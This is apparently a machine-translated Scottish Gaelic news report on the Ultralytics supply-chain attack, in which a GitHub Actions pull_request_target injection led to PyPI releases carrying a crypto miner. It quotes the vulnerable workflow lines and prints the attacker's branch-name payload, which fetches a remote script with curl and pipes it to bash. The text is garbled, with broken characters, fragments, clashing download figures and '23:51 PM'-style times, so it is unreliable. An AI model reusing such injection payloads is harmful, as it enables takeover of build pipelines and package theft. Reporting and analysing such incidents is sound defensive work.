Bha e comasach don luchd-ionnsaigh còd a chuir an gnĂŹomh le còraichean lĂ imhseachaidh GitHub Actions ann an stòr leabharlann Ultralytics Python, a thathas aâ cleachdadh gus fuasgladh fhaighinn air duilgheadasan lèirsinn coimpiutair leithid lorg nithean ann an ĂŹomhaighean agus sgaradh ĂŹomhaighean. Ăs deidh dhaibh faighinn chun stòr, dhâ fhoillsich an luchd-ionnsaigh grunn bhrathan Ăšra Ultralytics anns an eòlaire PyPI, a bha aâ toirt a-steach atharrachaidhean droch-rĂšnach airson mèinnearachd cryptocurrency. Thairis air aâ mhĂŹos a dhâ fhalbh, chaidh leabharlann Ultralytics a luchdachadh sĂŹos bho chatalog PyPI còrr air 6.4 millean uair.
Gus an stòr a mhilleadh, chaidh so-leòntachd a chleachdadh anns aâ phacaid ultralytics-actions, a thathas aâ cleachdadh gus luchd-lĂ imhseachaidh a chuir air bhog gu fèin-ghluasadach nuair a thèid gnĂŹomhan sònraichte a dhèanamh air stòr air GitHub aâ cleachdadh an uidheamachd GitHub Actions. Anns a 'phròiseact ultralytics, bha an neach-lĂ imhseachaidh so-leònte ceangailte ris an tachartas pull_request_target agus chaidh a ghairm nuair a thĂ inig iarrtasan tarraing Ăšr. Gu sònraichte, gus an còd a chruth anns na h-iarrtasan tarraing a chaidh a chuir, chaidh an inneal-lĂ imhseachaidh format.yml a ghairm agus chaidh an còd a chaidh a shònrachadh anns an roinn ârunâ den fhaidhle action.yml a chuir gu bĂ s, anns an robh òrdughan shligean le pĂ train ionaid: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"
Mar sin, chaidh ainm aâ mheur Git air an deach iomradh a thoirt san iarrtas tarraing a chuir an Ă ite òrdughan shligean gun teicheadh ââââgu ceart. Bu chòir a thoirt fa-near gun do shuidhich am pasgan ultralytics-actions san LĂšnastal so-leòntachd coltach ri bhith aâ cleachdadh luach bhon taobh a-muigh ann an gnĂŹomh mac-talla: mac-talla âgithub.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} Âť
Gus cur an gnĂŹomh a âchòd aca a chuir air dòigh ann an co-theacsa neach-lĂ imhseachaidh GitHub Actions, chuir an luchd-ionnsaigh iarrtas tarraing chun stòr ultralytics, aâ sònrachadh na leanas mar ainm a âmheur: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Mar sin, nuair a fhuaireadh iarrtas tarraing, chaidh an t-sreang a chaidh a shònrachadh don neach-ionnsaigh â$(âŚ)â a chuir a-steach don chòd, agus, nuair a chaidh an inneal-lĂ imhseachaidh a chuir air bhog Ă s deidh sin, chaidh an còd âcurl -sSfL raw.githubusercontent a chuir gu bĂ s. com/âŚ/file.sh | bash".

Faodar còd ruith ann an co-theacsa GitHub Actions a chleachdadh gus tòcan ruigsinneachd tasgaidh agus dĂ ta mothachail eile a ghlacadh. Chan eil e soilleir fhathast ciamar a chaidh aig an luchd-ionnsaigh air foillseachadh a ghineadh, leis an comas an còd aca a chuir an gnĂŹomh ann an GnĂŹomhan GitHub; thathas aâ gabhail ris gun do dhâ fhĂ s seo comasach mar thoradh air atharrachadh ann an inneal-lĂ imhseachaidh publish.yml (thug an luchd-ionnsaigh air falbh dearbhadh an cunntas a tha ceadaichte fiosan fhoillseachadh ann am PyPI) agus cleachdadh teicneòlas aâ puinnseanachadh tasgadan togail GitHub Actions gus an dĂ ta agad a chuir a-steach don fhoillseachadh.
Chaidh aâ chiad fhoillseachadh droch-rĂšnach de Ultralytics 8.3.41 fhoillseachadh leis na luchd-ionnsaigh air PyPI air 4 DĂšbhlachd aig 23:51 PM (MSK) agus chaidh a thoirt air falbh aig 12:15 PM an ath latha. Aig 15:47 PM, chaidh fhoillseachadh agus a thoirt air falbh aig 16:47 PM, brath eile, 8.3.42. Mar sin, bha na dreachan droch-rĂšnach rim faighinn airson an luchdachadh sĂŹos airson timcheall air 13 uairean a thĂŹde gu h-iomlan (tha PyPI aâ clĂ radh timcheall air 250 luchdachadh sĂŹos de leabharlann ultralytics gach latha). Bha còd anns na brathan 8.3.41 agus 8.3.42 a chaidh a luchdachadh sĂŹos bho shiostam taobh a-muigh. frithealaiche PĂ irt XMRig airson mèinnearachd airgead didseatach.
Shuidhich luchd-leasachaidh aâ phròiseict an duilgheadas agus chruthaich iad fiosan ceartachaidh 8.3.43 agus 8.3.44, ach dĂ latha Ă s deidh sin chaidh ionnsaigh eile a dhèanamh, nuair a dhâ fhoillsich an luchd-ionnsaigh dĂ fhoillseachadh droch-rĂšnach a bharrachd an-diugh aig 04:41 agus 05:27 (MSK) - 8.3.45. Gu ruige deireadh an sgrĂšdaidh, thathas aâ moladh do luchd-cleachdaidh stad a chuir air dreachan Ăšra a chuir a-steach agus fuasgladh 8.3.46 a chĂ radh mar eisimeileachd.
Source: fosgailtenet.ru
